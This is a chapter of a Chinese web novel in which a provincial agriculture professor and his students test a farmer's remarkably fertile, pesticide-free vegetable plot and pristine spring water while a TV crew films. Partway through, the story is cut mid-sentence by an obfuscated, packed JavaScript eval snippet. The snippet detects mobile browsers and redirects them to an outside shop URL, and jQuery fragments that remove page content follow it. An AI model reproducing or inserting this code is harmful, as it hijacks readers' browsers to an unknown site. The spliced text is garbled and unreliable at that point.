王大爷领来的三个人，在院门口站成了一排。
打头的是个老头，六十来岁，头发花白，架一副金丝边眼镜，可眼镜底下那张脸晒得比陈伯还黑——一看就是常年在田里跑的，不是坐办公室养出来的。他身后跟着一男一女两个年轻人，男的背一个半人高的仪器箱，女的抱着一摞采样袋和记录本，两人都穿着同款灰绿色速干衣，胸口别着校徽。
院门口很快围了七八个村民，远远站着看。李婶嗑着瓜子，跟旁边人嘀咕："这回来的不穿西装了，背这么大个箱子，是收电费的？"
"收电费用得着仨人一块儿来？"王大爷瞪她，"省农大的！大学！知道大学多大吗？"
"多大也不能踩坏菜畦。"陈伯蹲在墙根抽烟袋，眼皮都没抬。
那老头几步走到院门口，一眼看见院里正在撒鸡食的陆清槐，眼睛就是一亮。他也不急着进门，隔着矮墙先伸出手："陆师傅是吧？我姓顾，省农业大学的，搞土壤和栽培的。"他回头一指，"我两个研究生，小钱，小孙。"又补了句，"你那菜地的视频，我们系里老师都转遍了——今天带学生来，一是取样，二是看看究竟。"
陆清槐拍了拍手上的糠，走过去，先把院门打开了："进来。先坐，我泡壶茶。"
"陆师傅——"顾教授迈进门，名片已经掏出来了，"我们省农大的，这次是带着课题来的，时间紧，我先简单说两句——"
"不急这一口茶的工夫。"陆清槐接过名片看了一眼，搁在桌上，转身去灶屋烧水。
顾教授捏着半句话，在院当中的小桌边坐下了。两个研究生规规矩矩站他身后，眼睛却没闲着，仪器箱放下，先绕着院子四处打量。
水开了，茶泡上。顾教授端着杯子，客套话没说两句，眼睛已经一个劲儿往菜地里瞟。
陆清槐像没看见，不紧不慢给他续上水："跑了一路，喝口热的。菜地跑不了。"
"哎，哎。"顾教授应着，到底没好意思把杯子撂下就走。
一盏茶喝完，他屁股底下像长了钉子，起身就往菜地走。
一到菜畦边上，他整个人都变了。他蹲下去，抓了一把表土，在指间搓了搓，又凑到鼻子底下闻了闻，脸色当场就变了。
"陆师傅，"他回头，声音都紧了，"你这底肥，用的什么？"
"没上肥。"
"……没上肥？那追肥呢？"
"也没有。"
"不可能。"顾教授斩钉截铁，"这土攥在手里什么手感，你知道吗？跟发面似的。有机质含量低不了。"
"地养人，"陆清槐蹲在畦边，随手把一棵歪了的番茄苗扶正，"人也得养地。"
"怎么个养法？"
"菜茬子不捡出去，烂在里头；冬天种一茬紫云英，开春翻下去；鸡粪垫了土，堆过一夏再用。"他说得慢，像在数别人家的事，"土不亏人，人就别亏土。"
顾教授回头冲两个研究生一挥手。小钱手忙脚乱架起仪器，一根金属探针插进土里，手里的读数仪"嘀"地响了一声。
他盯着屏幕，脸慢慢皱起来。
"老师……您过来看。"
顾教授凑过去，看了半天，没言语，伸手把仪器接过来，自己换了个点重测了一遍。
数字跳定，他盯着看了几秒，把仪器递回去："再换。"
小钱换了三个点，数据大同小异。小孙在旁边翻记录本，翻到学校试验田上个月的那页，比了比，声音更小了："老师，咱们校试验田最好的那块地，这几个数……只有这儿的三分之一。"
"仪器坏了？"小钱的第一反应是这个。
"出门前刚校准的。"小孙说。
顾教授直起腰，推了推眼镜，重新打量这片菜地。菜畦整整齐齐，番茄挂果、黄瓜上架，叶子绿得发黑——那不是化肥催出来的、虚胖的嫩绿，是沉下去的、有底气的墨绿。
他蹲在田埂上，半天没说话。
"陆师傅，我跟你交个底。"他到底是做学问的，把疑问一个个往外倒，"网上把你这地传得神乎其神，我不信这个。说难听点，今天带学生来，我是准备来戳破的。"他顿了顿，"我再问几个常识。你这株距，留得比农技手册上宽一倍。密一点，产量不是更高？"
"菜要一棵一棵种。"陆清槐蹲在畦边，手指虚虚划过一片叶子，"挤在一起，谁都长不透。通风差一截，病就来。留够地，少种两棵，收的时候一棵顶三棵。"
顾教授嘴唇动了动。这个道理他懂，书上叫"合理密植、群体光合效率"，可没人像这样讲成一句话，还真按这个种了——而且种成了。
"虫呢？"他追问，"我走了三畦，叶面上连片虫眼都难找。打的什么药？"
"没打药。"
"……也没打药？"
"虫也得吃饭。"陆清槐说得理所当然，"菜叶上那点虫，鸟吃一半，草里养的青蛙吃一半。你把药一洒，虫是死了，鸟和蛙也不来了。地就死了。"
田埂外围观的村民里，王大爷听不下去了，探头插嘴："顾教授，我跟你说，我们村原先都笑他——菜长虫了不打药，蹲地里拿手指捏！结果呢？人家那菜地，鸟都比别处多。现在全村学着不打药，打药的菜，供销社不收！"
"供销社早不操这个心了，"李婶在后面纠正，"现在都是合作社上门收，人家拿仪器测，测不过关的，拉回去喂猪。"
"你管它谁收！"王大爷瞪眼，"反正不打药就对了！"
顾教授回头看了王大爷一眼，又看了看菜地外围那一圈起起伏伏的鸟影，默默在本子上添了一行字，力透纸背。
顾教授不死心，让小孙测叶片含水率。
小孙抱着个手持仪器，一棵一棵夹叶片，读数，记录，忙得满头汗。
陆清槐在旁边看了一会儿："你这样测，慢。"
"啊？"
他走进畦里，手背轻轻贴着叶背，从畦头走到畦尾，走得不快，像在跟一畦黄瓜挨个打招呼。走完，他抬手一指："这棵，缺水。这棵不缺水，叶子卷是疼的——根底下有虫。这棵也没事，向阳晒的，午后就缓过来了。这棵——"他蹲下去，把一片叶子翻过来，"早上被人踩过根，松松土就好。"
小孙举着仪器，愣在原地。
她机械地把他点过的四棵，一棵一棵测过去。
第一棵，含水率偏低。
第二棵，含水率正常——她扒开表土，根须上果然趴着两条白胖胖的蛴螬。
第三棵，正常。
第四棵，根边的土板结着，脚印还在。
全对。
小孙缓缓抬起头，看陆清槐的眼神已经不对了，像在看一篇会走路的核心期刊。
田埂上，方驰带头鼓起掌来。
"好！"
陶陶扯扯他袖子："方驰哥，你看懂了吗？"
"没有。"方驰理直气壮，"但我大受震撼。"
顾教授这回是真掏本子了。他本来揣着录音笔，这会儿录音笔也顾不上开，钢笔帽一咬就开始记，边记边追："你怎么看出来的？"
"手搭上去，就知道。"
"……手搭上去，怎么就能知道？"
陆清槐想了想，给了他一个能听懂的说法："你抱娃娃，娃娃烫不烫，还要先找温度计吗？"
顾教授笔尖一顿。
他在田埂上蹲了很久，忽然站起来，冲两个研究生挥手："取样！梅花五点法，多点混合！还有水——"
话没说完，他看见陆清槐已经站在了菜畦尽头那条小路口上。
那条路，通往龙脖子沟。
"陆师傅？"
"土，随便取。"陆清槐说，"水，那边的别动。"
"为什么呀？"小钱不解，"我们就做个水质常规，取五百毫升，无菌容器——"
"那条沟在睡觉。"他说，"别吵它。"
田野上静了两秒。
小孙握着笔，飞快地在记录本上写了一行字，写完自己看了看，觉得不对，又划掉了。
"顾教授，你别听他说得玄乎。"王大爷从田埂上探过身来，"那条沟是我们村的水源地，老一辈就立了规矩，不许进去闹腾。前几年有外村人进去采石，塌过一回方，差点没把人埋里头。"
顾教授神色一正。
水源地，塌方带——这两条他都懂，比什么道理都硬。搞田野的人，最忌讳的就是动人家的水源、冒没把握的险。
"陆师傅放心，"他郑重点头，"我们取水有规矩：取样原样送检，不投加任何试剂，去几个人回来几个人，连脚印都不多留一个。"
陆清槐看了他一会儿，侧身让开半步："五百毫升。"
"五百毫升。"
"取完，翻开的石头，放回原处。"
"……好。"
小钱小孙去取水。顾教授留在菜地里，绕着一畦番茄转了两圈，忽然停下："陆师傅，我再问一句——你这套东西，有没有成文的东西？论文、笔记、哪怕是口传的口诀？"
"没有。"
"那你跟谁学的？"
"家里长辈。"他说，"学得久了。"
顾教授盯着他看了两秒，忽然笑了，笑得有点感慨："我玩了一辈子土，靠的是仪器。"他合上本子，"今天这些数，我不当场下结论——样本带回去，实验室出报告，三周。是怎么回事，我给你个白纸黑字的说法。"
陶陶端着茶盘过来，小声问方驰："顾教授……是不是不想走了？"
"什么不想走。"周建国蹲在田埂上看得津津有味，一拍大腿，"这叫踢馆，踢到祖师爷家门口了。"
沈眉笑着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916309|213330||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
给顾教授续上茶："顾老师，您别介意，他说话就这个样子。"
"我介意什么？"顾教授一摆手，眼睛亮得吓人，冲镜头方向一扬下巴，"哎，导演在吧？这机器开着没？"
苏晚的画外音："开着呢，顾老师。"
"开着好！"顾教授嗓门都大了，"拍！这段都给我拍进去！让观众看看什么叫高手在民间！这话我以前当客气话说，今天——"他握拳晃了晃，"服不服，三周后见分晓！"
小钱取水回来，人还没坐稳就先叫起来："老师，您看看这个。"
他把快检箱在田埂上铺开，几根比色管一字排开，滴试剂、比色，手脚飞快。顾教授蹲在旁边，眯着眼看读数，看了半天，把眼镜摘下来擦了一遍，又看。
"溶解性总固体一百二，偏弱碱。"他喃喃道，"但是——没有。什么都没有。"
"什么什么都没有？"小孙凑过去。
"氨氮、亚硝酸盐、表面活性剂残留，全是零。上游没有农田退水，没有生活污水，连一点人为活动的痕迹都没有。"顾教授举着那瓶水，对着天光转了转，瓶底干干净净，"小孙，咱们跑了三年山区水样，哪条沟的水，人没在上头洗过衣裳、浇过地？这瓶水干净得……不合理。"
"可能这条沟位置偏，没人去。"小孙说。
"位置偏的沟我见多了。再偏，落叶腐殖质也会有析出，这水的数据像——"顾教授卡了一下，找了个词，"像刚从地底下现接的。"
陆清槐正在给客人续茶，听见了，眼皮都没抬，给顾教授杯里添满："山里水好。"
"好得离谱。"顾教授嘀咕了一句，到底没再说什么，郑重其事把取样瓶封好，在标签上写下日期和地点。
小孙凑到小钱旁边，压低声音："我怎么觉得，老师今天不像来采样的，像来朝圣的。"
小钱头也不抬："你现在才觉出来？从他报出那四棵菜起，我就已经在学术追星了。"
镇上，民宿二楼。
夹克中年人站在窗帘后头，看着村口那辆挂省城牌照的白色面包车，看了很久。
省农大。
他把这三个字在嘴里过了一遍，转身回到桌前，翻开那个本子。前面几页，记的是菜，是土，是他问过陈伯的那些话。他翻到崭新的一页，提笔写下：
"省农大，进村。仪器三大箱，取样一下午：土，水。"
笔尖顿了顿，又添一行：
"是否设点常驻，待观察。"
他本是来看人的。
现在，来看这座山的，越来越多了。
日头偏西，顾教授一行才收摊。仪器箱重新背上肩，他站在院门口，握着陆清槐的手不撒："陆师傅，我再提个不情之请——光靠一趟两趟说不清楚。我想半个月来一趟，取取样、测测数，搭个小棚子放仪器，绝不耽误你种菜。"
陆清槐没马上应声。
他看了看菜地，又看了看远处龙脖子沟的方向。
"来可以。"他说，"两条。"
"你讲。"
"水别动，地别乱翻。"
顾教授愣了一下，随即重重点头："成交。"
苏晚的画外音及时飘过来："顾老师，搭棚子占的是村集体的地，回头我陪您找陈伯把手续走了；您和学生入镜的事，台里那边我去报备——拍了一下午，我们这期节目的题眼，算是有着落了。"
陈伯蹲在墙根，烟袋锅子在鞋底上磕了磕："只要不糟践地，搭呗。"
面包车卷起一路黄土，走了。
院里嘉宾们还在兴奋头上。方驰背着手学顾教授踱步，握拳一晃："服不服，三周后——见分晓！"
"你出道七年。"江苓头也不抬地拆台。
"这叫艺术夸张！"
林野靠在门框上看了一下午，这时候才凑过来，摸着下巴："哥，我怎么觉得，你这菜地，往后得收门票了。"
陆清槐没接这个话。
他走到菜畦边，把小钱取土样时踩歪的一棵菜扶正，又顺着畦沟慢慢走了一圈。大黄不知什么时候跟了过来，站在他脚边，喉咙里低低呜了一声，脑袋冲着龙脖子沟的方向。
他抬眼望过去。
傍晚的山坳里，龙脖子沟上头浮着一层薄雾。这个时辰，这个天气，不该有雾。
雾很薄，凡人看一眼，只会说一句"山里潮气重"。可他看得清清楚楚——那雾不是从水面升起来的，是从地底下，一丝一丝渗出来的。
像呼吸。
井底那口呼吸，比昨天，又稳了一线。
陆清槐站了一会儿，弯下腰，把最后一棵菜的土培好，拍了拍手。
"别急。"他冲着山坳的方向，声音很轻，"慢慢醒。"
大黄摇了摇尾巴。
它没听懂。但它觉得，他说的对。